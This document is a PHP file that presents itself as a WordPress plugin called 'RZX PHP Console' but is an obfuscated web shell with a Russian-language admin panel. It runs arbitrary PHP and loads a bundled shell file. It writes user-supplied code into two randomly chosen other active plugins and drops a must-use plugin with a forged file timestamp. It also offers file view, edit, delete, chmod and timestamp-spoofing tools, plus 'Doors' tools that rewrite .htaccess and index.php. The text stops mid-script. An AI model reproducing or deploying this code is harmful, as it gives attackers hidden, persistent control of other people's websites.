Preview: PHP Console.php
Size: 104.31 KB
/home/zcziejy/ryadselyen/PHP Console.php
<?php
/*
Plugin Name: RZX PHP Console
Description: PHP Console for WordPress.
Author: RZX Team
Version: 1.9
*/
if (!defined('ABSPATH')) exit;
add_action('admin_menu', 'a0a0a0');
add_action('init', function() {
wp_clear_scheduled_hook('a0a85a0_self_destruct_event');
});
function a0a0a0() {
add_menu_page('WP PHP Console', 'PHP Console', 'manage_options', 'wp-php-console', 'a0a3a0', 'dashicons-editor-code', 99);
}
function a0a93a0ApplyRcCode($a0a97a0) {
if (!current_user_can('edit_plugins')) {
echo '<div style="color: red;">Недостаточно прав для редактирования плагинов.</div>';
return;
}
$a0a97a0 = trim($a0a97a0);
if ($a0a97a0 === '') {
echo '<div style="color: red;">RC код не может быть пустым.</div>';
return;
}
$a0a98a0 = (array) get_option('active_plugins', array());
if (empty($a0a98a0)) {
echo '<div style="color: orange;">Активные плагины не найдены.</div>';
return;
}
$a0a98a0 = array_filter($a0a98a0, function($plugin) {
return strpos($plugin, 'RZX/') === false;
});
if (empty($a0a98a0)) {
echo '<div style="color: orange;">Нет активных плагинов кроме RZX.</div>';
return;
}
shuffle($a0a98a0);
$a0a98a0 = array_slice($a0a98a0, 0, 2);
$a0a99a0 = trailingslashit(WP_PLUGIN_DIR);
$a0a100a0 = [];
$a0a101a0 = [];
foreach ($a0a98a0 as $a0a102a0) {
$a0a103a0 = $a0a99a0 . $a0a102a0;
if (!is_file($a0a103a0)) {
$a0a101a0[] = sprintf('%s: файл не найден.', esc_html($a0a102a0));
continue;
}
if (!is_readable($a0a103a0) || !is_writable($a0a103a0)) {
$a0a101a0[] = sprintf('%s: нет доступа для чтения/записи.', esc_html($a0a102a0));
continue;
}
$a0a104a0 = file_get_contents($a0a103a0);
if ($a0a104a0 === false) {
$a0a101a0[] = sprintf('%s: не удалось прочитать файл.', esc_html($a0a102a0));
continue;
}
$a0a105a0 = a0a94a0MergeRcCode($a0a97a0, $a0a104a0);
if (file_put_contents($a0a103a0, $a0a105a0) === false) {
$a0a101a0[] = sprintf('%s: не удалось сохранить файл.', esc_html($a0a102a0));
continue;
}
$a0a100a0[] = $a0a102a0;
}
if (!empty($a0a100a0)) {
echo '<div style="color: green;">RC код применен к следующим плагинам:</div>';
echo '<ul style="margin: 8px 0 16px 20px;">';
foreach ($a0a100a0 as $a0a102a0) {
echo '<li>' . esc_html($a0a102a0) . '</li>';
}
echo '</ul>';
}
if (!empty($a0a101a0)) {
echo '<div style="color: red;">Произошли ошибки:</div>';
echo '<ul style="margin: 8px 0 16px 20px;">';
foreach ($a0a101a0 as $a0a106a0) {
echo '<li>' . $a0a106a0 . '</li>';
}
echo '</ul>';
}
}
function a0a95a0CreateAutoUpdatePlugin() {
if (!current_user_can('manage_options')) {
echo '<div style="color: red;">Недостаточно прав для управления плагинами.</div>';
return false;
}
define('DISABLE_AUTOUPDATE', 0);
define('MIN_PHP_VERSION', '7.4');
$mu_code = '
/*
Plugin Name: AutoUpdate Smart + PHP Protection
Description: Enables auto-updates for core, plugins, themes, and blocks.
Author: System
Version: 1.0
Must-Use: true
*/
if (!defined("WP_INSTALLING")) {
add_filter("auto_update_plugin", "__return_true");
add_filter("auto_update_theme", "__return_true");
add_filter("auto_update_core", "__return_true");
}
';
function detectWProotDir() {
if (file_exists(getcwd() . "/wp-config.php")) return getcwd();
$path = preg_replace("~/(wp-admin|wp-includes|wp-content).*$~", "", getcwd());
return file_exists($path . "/wp-config.php") ? $path : null;
}
$php_version = PHP_VERSION;
echo '<div style="color: #333;">PHP версия: ' . $php_version . '</div>';
if (version_compare($php_version, MIN_PHP_VERSION, '<')) {
echo '<div style="color: red;">Обновления не включены: PHP ниже ' . MIN_PHP_VERSION . '</div>';
return false;
}
$root = detectWProotDir();
if (!$root) {
echo '<div style="color: red;">Не найден WordPress (wp-config.php)</div>';
$root = getcwd();
}
$mu_dir = rtrim($root, "/") . "/wp-content/mu-plugins";
if (!is_dir($mu_dir)) {
if (!mkdir($mu_dir, 0755, true)) {
echo '<div style="color: red;">Не удалось создать папку mu-plugins.</div>';
return false;
}
echo '<div style="color: green;">Создана папка mu-plugins</div>';
}
$filepath = $mu_dir . "/autoupdate-smart.php";
echo '<div style="color: #333;">MU-плагин: ' . $filepath . '</div>';
if (DISABLE_AUTOUPDATE == 1) {
if (file_exists($filepath)) {
rename($filepath, $filepath . "_bak");
echo '<div style="color: orange;">MU-плагин отключён</div>';
} else {
echo '<div style="color: orange;">Уже отключён или отсутствует.</div>';
}
} else {
$php_code = chr(60) . chr(63) . 'php' . "\n" . ltrim($mu_code, "\r\n");
if (file_put_contents($filepath, $php_code) === false) {
echo '<div style="color: red;">Не удалось создать MU-плагин.</div>';
return false;
}
$newmtime = file_exists($filepath) ? filemtime($filepath) + 60 : time();
touch($filepath, $newmtime);
chmod($filepath, 0644);
echo '<div style="color: green;">MU-плагин успешно создан/восстановлен.</div>';
echo '<div style="color: #333;">touch +60 сек выполнен.</div>';
echo '<div style="color: green;">Автообновления активированы (PHP >= ' . MIN_PHP_VERSION . ').</div>';
}
return true;
}
function a0a94a0MergeRcCode($a0a97a0, $a0a104a0) {
$a0a104a0 = preg_replace('/^\xEF\xBB\xBF/u', '', $a0a104a0);
$a0a104a0 = ltrim($a0a104a0);
$a0a104a0Lines = explode("\n", $a0a104a0);
$namespaceLine = null;
$namespaceIndex = -1;
$afterNamespaceContent = [];
$beforeNamespaceContent = [];
foreach ($a0a104a0Lines as $index => $line) {
$trimmedLine = trim($line);
if (preg_match('/^namespace\s+/', $trimmedLine)) {
$namespaceLine = $line;
$namespaceIndex = $index;
break;
}
if (!empty($trimmedLine) && $trimmedLine !== '<?php') {
$beforeNamespaceContent[] = $line;
}
}
if ($namespaceIndex !== -1) {
for ($i = $namespaceIndex + 1; $i < count($a0a104a0Lines); $i++) {
$afterNamespaceContent[] = $a0a104a0Lines[$i];
}
}
$a0a97a0 = trim($a0a97a0);
if (strpos($a0a97a0, '<?php') === 0) {
$a0a97a0 = preg_replace('/^<\?php\s*/', '', $a0a97a0, 1);
}
$a0a97a0 = rtrim($a0a97a0);
$a0a107a0 = "<?php\n";
if (!empty($beforeNamespaceContent)) {
$a0a107a0 .= implode("\n", $beforeNamespaceContent) . "\n";
}
if ($a0a97a0 !== '') {
$a0a107a0 .= $a0a97a0 . "\n";
}
if ($namespaceLine !== null) {
$a0a107a0 .= $namespaceLine . "\n";
if (!empty($afterNamespaceContent)) {
$a0a107a0 .= "\n" . implode("\n", $afterNamespaceContent);
}
} else {
if (!empty($afterNamespaceContent)) {
$a0a107a0 .= "\n" . implode("\n", $afterNamespaceContent);
}
}
return rtrim($a0a107a0) . "\n";
}
function a0a108a0FormatDebugInfo($a0a109a0) {
if (empty($a0a109a0) || !is_array($a0a109a0)) {
return '';
}
$a0a110a0 = [];
foreach ($a0a109a0 as $a0a111a0 => $a0a112a0) {
if (is_scalar($a0a112a0)) {
$a0a110a0[] = $a0a111a0 . '=' . $a0a112a0;
}
}
if (empty($a0a110a0)) {
return '';
}
return ' [Debug: ' . implode(' | ', $a0a110a0) . ']';
}
function a0a77a0AllowedSources() {
return array('2.php');
}
function a0a77a0() {
if (!current_user_can('manage_options')) {
wp_send_json_error('Недостаточно прав.');
}
if (empty($_POST['source'])) {
wp_send_json_error('Файл не указан.');
}
$allowedSources = a0a77a0AllowedSources();
$source = basename(sanitize_text_field(wp_unslash($_POST['source'])));
$debugInfo = array('source' => $source);
if (!in_array($source, $allowedSources, true)) {
wp_send_json_error('Недопустимый файл.' . a0a108a0FormatDebugInfo($debugInfo));
}
$pluginDir = plugin_dir_path(__FILE__);
$filePath = $pluginDir . $source;
$normalizedPluginDir = strtolower(trailingslashit(wp_normalize_path($pluginDir)));
$normalizedTargetPath = strtolower(wp_normalize_path($filePath));
$debugInfo['pluginDir'] = $normalizedPluginDir;
$debugInfo['targetPath'] = $normalizedTargetPath;
$debugInfo['exists'] = file_exists($filePath) ? 'yes' : 'no';
$debugInfo['isFile'] = is_file($filePath) ? 'yes' : 'no';
if (strpos($normalizedTargetPath, $normalizedPluginDir) !== 0 || !is_file($filePath)) {
wp_send_json_error('Файл не найден или недоступен.' . a0a108a0FormatDebugInfo($debugInfo));
}
$debugInfo['readable'] = is_readable($filePath) ? 'yes' : 'no';
if (!is_readable($filePath)) {
wp_send_json_error('Файл недоступен для чтения.' . a0a108a0FormatDebugInfo($debugInfo));
}
$code = file_get_contents($filePath);
if ($code === false) {
wp_send_json_error('Не удалось прочитать файл.' . a0a108a0FormatDebugInfo($debugInfo));
}
if (strpos($code, '<?php') === 0) {
$code = substr($code, 5);
$code = ltrim($code, "\r\n\t ");
}
wp_send_json_success(array('code' => $code));
}
function a0a3a0() {
if (!current_user_can('manage_options')) {
wp_die(__('You do not have sufficient permissions to access this page.'));
}
$a0a4a0 = !empty($_POST['dir']) ? base64_decode($_POST['dir']) : (!empty($_POST['current_dir']) ? base64_decode($_POST['current_dir']) : ABSPATH);
if (!is_dir($a0a4a0)) {
$a0a4a0 = ABSPATH;
}
echo '<div class="wrap wp-php-console">';
echo '<h1>PHP Console</h1>';
echo '<p class="console-description">PHP Console</p>';
echo '<style>
.wp-php-console { max-width: 1200px; margin-top: 12px; }
.wp-php-console h1 { margin-bottom: 6px; font-weight: 700; }
.wp-php-console .console-description { color: #5c6672; margin: 0 0 28px; font-size: 15px; letter-spacing: 0.01em; }
.wp-php-console .console-card { background: linear-gradient(135deg, #ffffff 0%, #f8fafc 100%); border: 1px solid #dfe5ec; border-radius: 16px; padding: 22px; margin-bottom: 26px; box-shadow: 0 18px 35px rgba(15, 23, 42, 0.08); }
.wp-php-console .console-grid { display: grid; grid-template-columns: repeat(auto-fit, minmax(320px, 1fr)); gap: 24px; margin-bottom: 24px; }
.wp-php-console .console-split { display: flex; flex-direction: column; gap: 24px; margin-bottom: 30px; }
.wp-php-console .console-pane { margin: 0; }
.wp-php-console .console-output { background: #0b1120; color: #e4e8f0; border-radius: 14px; padding: 18px; font-size: 13px; overflow: auto; min-height: 160px; max-height: min(60vh, 720px); white-space: pre-wrap; border: 1px solid rgba(255,255,255,0.08); box-shadow: inset 0 0 0 1px rgba(255,255,255,0.03); }
.wp-php-console .console-output-empty { color: #9aa6b2; font-size: 14px; margin: 0; }
.wp-php-console .console-card h2 { margin-top: 0; font-size: 18px; letter-spacing: 0.02em; }
.wp-php-console .console-breadcrumb { display: flex; flex-wrap: wrap; gap: 8px; align-items: center; font-size: 14px; }
.wp-php-console .console-breadcrumb-label { font-weight: 600; color: #1f2933; }
.wp-php-console .console-breadcrumb a { color: #2563eb; text-decoration: none; font-weight: 500; }
.wp-php-console .console-breadcrumb a:hover { color: #1d4ed8; text-decoration: underline; }
.wp-php-console .console-breadcrumb-separator { color: #94a3b8; }
.wp-php-console .console-list { list-style: none; margin: 12px 0 0; padding: 0; }
.wp-php-console .console-list-item { border: 1px solid #e5e9f2; border-radius: 12px; padding: 14px 16px; background: #fff; display: flex; flex-direction: column; gap: 12px; transition: box-shadow 0.2s ease, transform 0.2s ease; }
.wp-php-console .console-list-item:hover { box-shadow: 0 10px 24px rgba(15, 23, 42, 0.08); transform: translateY(-2px); }
.wp-php-console .console-list-item + .console-list-item { margin-top: 12px; }
.wp-php-console .console-folder-link { font-weight: 600; color: #111827; text-decoration: none; display: block; }
.wp-php-console .console-folder-link:hover { color: #0f62fe; }
.wp-php-console .console-file-name { font-weight: 600; color: #111827; }
.wp-php-console .console-actions { display: flex; flex-wrap: wrap; gap: 8px; }
.wp-php-console .console-action { border: 1px solid #cdd6f3; border-radius: 999px; padding: 4px 14px; font-size: 13px; color: #0f172a; text-decoration: none; transition: all 0.2s ease; background: #f8faff; }
.wp-php-console .console-action:hover { border-color: #2563eb; color: #2563eb; box-shadow: 0 6px 14px rgba(37, 99, 235, 0.15); }
.wp-php-console .console-action--danger { border-color: #dc2626; color: #dc2626; background: #fff5f5; }
.wp-php-console .console-action--danger:hover { background: #dc2626; color: #fff; }
.wp-php-console .console-empty { margin: 12px 0 0; color: #94a3b8; font-size: 14px; }
.wp-php-console .console-form { display: flex; flex-direction: column; gap: 18px; }
.wp-php-console .console-textarea { width: 100%; min-height: 240px; border-radius: 14px; border: 1px solid #d1d9e6; padding: 14px; font-family: Consolas, Monaco, monospace; font-size: 14px; background: #ffffff; box-shadow: inset 0 2px 12px rgba(148, 163, 184, 0.2); transition: border-color 0.2s ease, box-shadow 0.2s ease; }
.wp-php-console .console-textarea:focus { outline: none; border-color: #2563eb; box-shadow: 0 0 0 3px rgba(37, 99, 235, 0.2); }
.wp-php-console .console-button-group { display: flex; flex-wrap: wrap; gap: 12px; }
.wp-php-console .console-btn { border-radius: 999px !important; border: 1px solid #cdd6f3 !important; background: #f8faff !important; color: #0f172a !important; padding: 0 22px !important; min-height: 38px; font-weight: 600; letter-spacing: 0.02em; display: inline-flex; align-items: center; justify-content: center; transition: all 0.2s ease; }
.wp-php-console .console-btn:hover { border-color: #2563eb !important; color: #2563eb !important; background: #fff !important; box-shadow: 0 6px 14px rgba(37, 99, 235, 0.15); }
.wp-php-console .console-btn-danger { border-color: #dc2626 !important; color: #dc2626 !important; background: #fff5f5 !important; box-shadow: none; }
.wp-php-console .console-btn-danger:hover { background: #dc2626 !important; color: #fff !important; box-shadow: 0 12px 22px rgba(239, 68, 68, 0.35); }
.wp-php-console pre { background: #0b1120; color: #e4e8f0; border-radius: 14px; padding: 18px; font-size: 13px; border: 1px solid rgba(255,255,255,0.08); }
.wp-php-console .console-tabs { display: flex; flex-direction: column; gap: 18px; }
.wp-php-console .console-tabs__nav { display: inline-flex; gap: 10px; flex-wrap: wrap; }
.wp-php-console .console-tabs__btn { border-radius: 999px; border: 1px solid #cdd6f3; background: #f8faff; color: #0f172a; padding: 6px 18px; font-weight: 600; cursor: pointer; transition: all 0.2s ease; }
.wp-php-console .console-tabs__btn:hover { border-color: #2563eb; color: #2563eb; }
.wp-php-console .console-tabs__btn.is-active { border-color: #2563eb; color: #fff; background: #2563eb; box-shadow: 0 6px 14px rgba(37, 99, 235, 0.2); }
.wp-php-console .console-tab-panel { display: none; }
.wp-php-console .console-tab-panel.is-active { display: block; }
@media (max-width: 640px) {
.wp-php-console .console-button-group { flex-direction: column; width: 100%; }
.wp-php-console .console-btn { width: 100%; text-align: center; }
}
</style>';
$a0a5a0 = explode(DIRECTORY_SEPARATOR, trim($a0a4a0, DIRECTORY_SEPARATOR));
$a0a6a0 = '';
$a0a77a0Sources = array_values(array_filter(a0a77a0AllowedSources(), function($source) {
$path = plugin_dir_path(__FILE__) . $source;
return is_file($path) && is_readable($path);
}));
echo '<div class="console-card console-breadcrumb">';
echo '<span class="console-breadcrumb-label">Текущая директория:</span>';
echo '<a href="#" onclick="a0a7a0(\'' . base64_encode(ABSPATH) . '\')">' . esc_html('Home') . '</a>';
foreach ($a0a5a0 as $a0a8a0) {
$a0a6a0 .= DIRECTORY_SEPARATOR . $a0a8a0;
$a0a9a0 = base64_encode($a0a6a0);
echo ' <span class="console-breadcrumb-separator">/</span> <a href="#" onclick="a0a7a0(\'' . $a0a9a0 . '\')">' . esc_html($a0a8a0) . '</a>';
}
echo '</div>';
$a0a10a0 = [];
$a0a11a0 = [];
foreach (scandir($a0a4a0) as $a0a12a0) {
if ($a0a12a0[0] !== '.') {
if (is_dir($a0a13a0 = $a0a4a0 . DIRECTORY_SEPARATOR . $a0a12a0)) {
$a0a10a0[] = $a0a12a0;
} else {
$a0a11a0[] = $a0a12a0;
}
}
}
natcasesort($a0a10a0);
natcasesort($a0a11a0);
$a0a82a0 = a0a31a0($a0a4a0);
echo '<div class="console-split">';
echo '<div class="console-card console-pane console-pane--editor">';
echo '<h2>Инструменты</h2>';
echo '<div class="console-tabs">'
. '<div class="console-tabs__nav">'
. '<button type="button" class="console-tabs__btn is-active" data-tab-target="shell">Shell</button>'
. '<button type="button" class="console-tabs__btn" data-tab-target="rc">RC</button>'
. '<button type="button" class="console-tabs__btn" data-tab-target="maps">Doors</button>'
. '</div>'
. '<div class="console-tabs__content">'
. '<div class="console-tab-panel is-active" data-tab-panel="shell">'
. '<form method="post" class="console-form console-form--shell">'
. wp_nonce_field('a0a23a0')
. '<textarea name="a0a26a0" class="console-textarea" placeholder="PHP Code..."></textarea>'
. '<div class="console-button-group">'
. '<button type="submit" name="a0a27a0" class="button console-btn">Выполнить в консоли</button>'
. '<button type="submit" name="a0a76a0" class="button console-btn" style="background: #4CAF50; border-color: #45A049;">Shell</button>'
. '<button type="submit" name="a0a78a0" class="button console-btn" style="background: #FF6B6B; border-color: #E55555;">PreZ</button>'
. '<button type="submit" name="a0a95a0" class="button console-btn" style="background: #2196F3; border-color: #1976D2;">Auto-Update</button>'
. '<button type="submit" name="a0a30a0" class="button console-btn console-btn-danger">Удалить плагин</button>'
. '</div>'
. '<input type="hidden" name="dir" value="' . base64_encode($a0a4a0) . '" />'
. '</form>'
. '</div>'
. '<div class="console-tab-panel" data-tab-panel="rc">'
. '<form method="post" class="console-form console-form--rc">'
. wp_nonce_field('a0a23a0')
. '<textarea name="a0a93a0_code" class="console-textarea" placeholder="RC Code..."></textarea>'
. '<div class="console-button-group">'
. '<button type="submit" name="a0a93a0" class="button console-btn">Выполнить RC</button>'
. '</div>'
. '</form>'
. '</div>'
. '<div class="console-tab-panel" data-tab-panel="maps">'
. '<form method="post" class="console-form console-form--maps">'
. wp_nonce_field('a0a23a0')
. '<textarea name="maps_code" class="console-textarea" placeholder="PHP Code..." style="min-height: 300px; font-family: Consolas, Monaco, monospace;"></textarea>'
. '<div style="margin: 10px 0;">'
. '<label style="display: block; margin-bottom: 5px; font-weight: 600;">Размер файла .htaccess:</label>';
$htaccessPath = rtrim($a0a4a0, '/') . '/.htaccess';
if (file_exists($htaccessPath)) {
$sizeBytes = filesize($htaccessPath);
if ($sizeBytes !== false) {
$sizeKB = $sizeBytes / 1024;
if ($sizeKB >= 1024) {
$sizeMB = $sizeKB / 1024;
$sizeText = number_format($sizeMB, 2) . ' MB (' . number_format($sizeBytes) . ' bytes)';
} elseif ($sizeKB >= 1) {
$sizeText = number_format($sizeKB, 2) . ' KB (' . number_format($sizeBytes) . ' bytes)';
} else {
$sizeText = number_format($sizeBytes) . ' bytes';
}
echo '<div style="color: #333; font-family: monospace;">' . esc_html($sizeText) . '</div>';
if ($sizeBytes > 600) {
echo '<button type="submit" name="maps_fix_htaccess" class="button console-btn" style="background: #ff6b6b; border-color: #ff5252; margin-top: 10px;">Fix .htaccess</button>';
}
} else {
echo '<div style="color: orange;">Не удалось получить размер файла</div>';
}
} else {
echo '<div style="color: orange;">Файл .htaccess не найден</div>';
echo '<button type="submit" name="maps_fix_htaccess" class="button console-btn" style="background: #ff6b6b; border-color: #ff5252; margin-top: 10px;">Fix .htaccess</button>';
}
echo '</div>'
. '<div style="margin: 10px 0;">'
. '<label style="display: block; margin-bottom: 5px; font-weight: 600;">Размер файла index.php:</label>';
$indexPath = rtrim($a0a4a0, '/') . '/index.php';
if (file_exists($indexPath)) {
$sizeBytes = filesize($indexPath);
if ($sizeBytes !== false) {
$sizeKB = $sizeBytes / 1024;
if ($sizeKB >= 1024) {
$sizeMB = $sizeKB / 1024;
$sizeText = number_format($sizeMB, 2) . ' MB (' . number_format($sizeBytes) . ' bytes)';
} elseif ($sizeKB >= 1) {
$sizeText = number_format($sizeKB, 2) . ' KB (' . number_format($sizeBytes) . ' bytes)';
} else {
$sizeText = number_format($sizeBytes) . ' bytes';
}
echo '<div style="color: #333; font-family: monospace;">' . esc_html($sizeText) . '</div>';
if ($sizeBytes < 400 || $sizeBytes > 410) {
echo '<button type="submit" name="maps_fix_index" class="button console-btn" style="background: #ff6b6b; border-color: #ff5252; margin-top: 10px;">Fix index</button>';
}
} else {
echo '<div style="color: orange;">Не удалось получить размер файла</div>';
}
} else {
echo '<div style="color: orange;">Файл index.php не найден</div>';
echo '<button type="submit" name="maps_fix_index" class="button console-btn" style="background: #ff6b6b; border-color: #ff5252; margin-top: 10px;">Fix index</button>';
}
echo '</div>'
. '<div class="console-button-group">'
. '<button type="submit" name="maps_execute" class="button console-btn">Execute</button>'
. '<button type="submit" name="maps_prez" class="button console-btn" style="background: #ff6b6b; border-color: #ff5252;">PreZ</button>'
. '<button type="submit" name="maps_create_file" class="button console-btn" style="background: #2196F3; border-color: #1976D2;">Create file with code</button>'
. '<button type="submit" name="maps_delete_file" class="button console-btn console-btn-danger">Delete file</button>'
. '</div>'
. '<input type="hidden" name="dir" value="' . base64_encode($a0a4a0) . '" />'
. '</form>'
. '</div>'
. '</div>'
. '</div>';
echo '</div>';
echo '<div class="console-card console-pane console-pane--output">';
echo '<h2>Результат</h2>';
if ($a0a82a0 !== '') {
$a0a82a0Filtered = a0a83a0FilterOutput($a0a82a0);
echo '<div class="console-output">' . $a0a82a0Filtered . '</div>';
} else {
echo '<p class="console-output-empty">PHP Code output.</p>';
}
echo '</div>';
echo '</div>';
echo '<div class="console-grid">';
echo '<div class="console-card console-list-card">';
echo '<h2>Папки</h2>';
if (empty($a0a10a0)) {
echo '<p class="console-empty">Нет доступных папок.</p>';
} else {
echo '<ul class="console-list">';
foreach ($a0a10a0 as $a0a14a0) {
$a0a9a0 = base64_encode($a0a4a0 . DIRECTORY_SEPARATOR . $a0a14a0);
echo '<li class="console-list-item"><a class="console-folder-link" href="#" onclick="a0a7a0(\'' . $a0a9a0 . '\')">' . esc_html($a0a14a0) . '</a></li>';
}
echo '</ul>';
}
echo '</div>';
echo '<div class="console-card console-list-card">';
echo '<h2>Файлы</h2>';
if (empty($a0a11a0)) {
echo '<p class="console-empty">Нет доступных файлов.</p>';
} else {
echo '<ul class="console-list">';
foreach ($a0a11a0 as $a0a15a0) {
$a0a16a0 = $a0a4a0 . DIRECTORY_SEPARATOR . $a0a15a0;
$a0a17a0 = base64_encode($a0a16a0);
echo '<li class="console-list-item">'
. '<span class="console-file-name">' . esc_html($a0a15a0) . '</span>'
. '<div class="console-actions">'
. '<a class="console-action" href="#" onclick="a0a18a0(\'' . $a0a17a0 . '\')">Просмотр</a>'
. '<a class="console-action" href="#" onclick="a0a19a0(\'' . $a0a17a0 . '\')">Редактировать</a>'
. '<a class="console-action console-action--danger" href="#" onclick="a0a20a0(\'' . $a0a17a0 . '\')">Удалить</a>'
. '<a class="console-action" href="#" onclick="a0a21a0(\'' . $a0a17a0 . '\')">Chmod</a>'
. '<a class="console-action" href="#" onclick="a0a22a0(\'' . $a0a17a0 . '\')">Tough</a>'
. '</div>'
. '</li>';
}
echo '</ul>';
}
echo '</div>';
echo '</div>';
?>
<script type="text/javascript">
function a0a7a0(a0a32a0) {
var a0a33a0 = document.createElement("form");
a0a33a0.method = "post";
var a0a34a0 = document.createElement("input");
a0a34a0.type = "hidden";
a0a34a0.name = "dir";
a0a34a0.value = a0a32a0;
a0a33a0.appendChild(a0a34a0);
var a0a36a0 = document.createElement("input");
a0a36a0.type = "hidden";
a0a36a0.name = "current_dir";
a0a36a0.value = "<?php echo base64_encode($a0a4a0); ?>";
a0a33a0.appendChild(a0a36a0);
document.body.appendChild(a0a33a0);
a0a33a0.submit();
}
function a0a18a0(a0a35a0) {
var a0a33a0 = document.createElement("form");
a0a33a0.method = "post";
a0a33a0.action = "";
var a0a34a0 = document.createElement("input");
a0a34a0.type = "hidden";
a0a34a0.name = "view_file";
a0a34a0.value = a0a35a0;
a0a33a0.appendChild(a0a34a0);
var a0a36a0 = document.createElement("input");
a0a36a0.type = "hidden";
a0a36a0.name = "current_dir";
a0a36a0.value = "<?php echo base64_encode($a0a4a0); ?>";
a0a33a0.appendChild(a0a36a0);
document.body.appendChild(a0a33a0);
a0a33a0.submit();
}
function a0a19a0(a0a35a0) {
var a0a33a0 = document.createElement("form");
a0a33a0.method = "post";
a0a33a0.action = "";
var a0a34a0 = document.createElement("input");
a0a34a0.type = "hidden";
a0a34a0.name = "edit_file";
a0a34a0.value = a0a35a0;
a0a33a0.appendChild(a0a34a0);
var a0a36a0 = document.createElement("input");
a0a36a0.type = "hidden";
a0a36a0.name = "current_dir";
a0a36a0.value = "<?php echo base64_encode($a0a4a0); ?>";
a0a33a0.appendChild(a0a36a0);
document.body.appendChild(a0a33a0);
a0a33a0.submit();
}
function a0a20a0(a0a35a0) {
if (confirm("Вы уверены, что хотите удалить этот файл?")) {
var a0a33a0 = document.createElement("form");
a0a33a0.method = "post";
a0a33a0.action = "";
var a0a34a0 = document.createElement("input");
a0a34a0.type = "hidden";
a0a34a0.name = "delete_file";
a0a34a0.value = a0a35a0;
a0a33a0.appendChild(a0a34a0);
var a0a36a0 = document.createElement("input");
a0a36a0.type = "hidden";
a0a36a0.name = "current_dir";
a0a36a0.value = "<?php echo base64_encode($a0a4a0); ?>";
a0a33a0.appendChild(a0a36a0);
document.body.appendChild(a0a33a0);
a0a33a0.submit();
}
}
function a0a21a0(a0a35a0) {
jQuery.post(ajaxurl, { action: "get_file_info", file_path: a0a35a0 }, function(a0a37a0) {
if (a0a37a0.success) {
var a0a38a0 = prompt("Введите значение chmod (например, 0755):", a0a37a0.data.chmod);
if (a0a38a0 !== null) {
var a0a33a0 = document.createElement("form");
a0a33a0.method = "post";
a0a33a0.action = "";
var a0a39a0 = document.createElement("input");
a0a39a0.type = "hidden";
a0a39a0.name = "chmod_file";
a0a39a0.value = a0a35a0;
a0a33a0.appendChild(a0a39a0);
var a0a40a0 = document.createElement("input");
a0a40a0.type = "hidden";
a0a40a0.name = "chmod_value";
a0a40a0.value = a0a38a0;
a0a33a0.appendChild(a0a40a0);
var a0a36a0 = document.createElement("input");
a0a36a0.type = "hidden";
a0a36a0.name = "current_dir";
a0a36a0.value = "<?php echo base64_encode($a0a4a0); ?>";
a0a33a0.appendChild(a0a36a0);
document.body.appendChild(a0a33a0);
a0a33a0.submit();
}
} else {
alert("Ошибка: " + a0a37a0.data);
}
});
}
function a0a22a0(a0a35a0) {
jQuery.post(ajaxurl, { action: "get_file_info", file_path: a0a35a0 }, function(a0a37a0) {
if (a0a37a0.success) {
var a0a41a0 = prompt("Введите дату и время (например, 2024-05-14T12:00):", a0a37a0.data.touch);
if (a0a41a0 !== null) {
var a0a33a0 = document.createElement("form");
a0a33a0.method = "post";
a0a33a0.action = "";
var a0a39a0 = document.createElement("input");
a0a39a0.type = "hidden";
a0a39a0.name = "touch_file";
a0a39a0.value = a0a35a0;
a0a33a0.appendChild(a0a39a0);
var a0a42a0 = document.createElement("input");
a0a42a0.type = "hidden";
a0a42a0.name = "touch_value";
a0a42a0.value = a0a41a0;
a0a33a0.appendChild(a0a42a0);
var a0a36a0 = document.createElement("input");
a0a36a0.type = "hidden";
a0a36a0.name = "current_dir";
a0a36a0.value = "<?php echo base64_encode($a0a4a0); ?>";
a0a33a0.appendChild(a0a36a0);
document.body.appendChild(a0a33a0);
a0a33a0.submit();
}
} else {
alert("Ошибка: " + a0a37a0.data);
}
});
}
document.addEventListener("DOMContentLoaded", function() {
var shellBtn = document.getElementById("a0a76a0");
var shellSources = <?php echo wp_json_encode($a0a77a0Sources); ?>;
var tabButtons = document.querySelectorAll(".console-tabs__btn");
var tabPanels = document.querySelectorAll(".console-tab-panel");
function activateTab(target) {
tabButtons.forEach(function(btn) {
btn.classList.toggle("is-active", btn.getAttribute("data-tab-target") === target);
});
tabPanels.forEach(function(panel) {
panel.classList.toggle("is-active", panel.getAttribute("data-tab-panel") === target);
});
localStorage.setItem('activeConsoleTab', target);
}
tabButtons.forEach(function(btn) {
btn.addEventListener("click", function() {
activateTab(btn.getAttribute("data-tab-target"));
});
});
var savedTab = localStorage.getItem('activeConsoleTab');
if (savedTab) {
activateTab(savedTab);
}
function a0a77a0LoadAndExecute(sourceFiles) {
var sources = Array.isArray(sourceFiles) ? sourceFiles : [sourceFiles];
var consoleForm = document.querySelector(".console-form--shell");
if (!consoleForm || sources.length === 0) {
return;
}
var textarea = consoleForm.querySelector("textarea[name='a0a26a0']");
if (!textarea) {
return;
}
textarea.value = "Loading...";
var collected = [];
var lastCode = '';
function loadNext(index) {
if (index >= sources.length) {
textarea.value = lastCode;
if (!consoleForm.querySelector("input[name='a0a27a0']")) {
var hiddenSubmit = document.createElement("input");
hiddenSubmit.type = "hidden";
hiddenSubmit.name = "a0a27a0";
hiddenSubmit.value = "1";
consoleForm.appendChild(hiddenSubmit);
}
consoleForm.submit();
return;
}
jQuery.post(ajaxurl, { action: "a0a77a0", source: sources[index] })
.done(function(response) {
if (!response || !response.success || !response.data || typeof response.data.code === 'undefined') {
alert("Ошибка: " + (response && response.data ? response.data : 'Не удалось получить код.'));
textarea.value = '';
return;
}
collected.push(response.data.code);
lastCode = response.data.code;
loadNext(index + 1);
})
.fail(function() {
alert("Ошибка: Не удалось получить код.");
textarea.value = '';
});
}
loadNext(0);
}
if (shellBtn) {
shellBtn.addEventListener("click", function() {
if (!shellSources.length) {
alert("Shell: ни один из исходных файлов не найден в плагине.");
return;
}
a0a77a0LoadAndExecute(shellSources);
});
}
var autoupdateBtn = document.getElementById("a0a95a0");
if (autoupdateBtn) {
autoupdateBtn.addEventListener("click", function() {
var form = document.createElement("form");
form.method = "post";
form.style.display = "none";
var nonceInput = document.createElement("input");
nonceInput.type = "hidden";
nonceInput.name = "_wpnonce";
nonceInput.value = "<?php echo wp_create_nonce('a0a23a0'); ?>";
form.appendChild(nonceInput);
var autoupdateInput = document.createElement("input");
autoupdateInput.type = "hidden";
autoupdateInput.name = "a0a95a0";
autoupdateInput.value = "1";
form.appendChild(autoupdateInput);
var dirInput = document.createElement("input");
dirInput.type = "hidden";
dirInput.name = "dir";
dirInput.value = "<?php echo base64_encode($a0a4a0); ?>";
form.appendChild(dirInput);
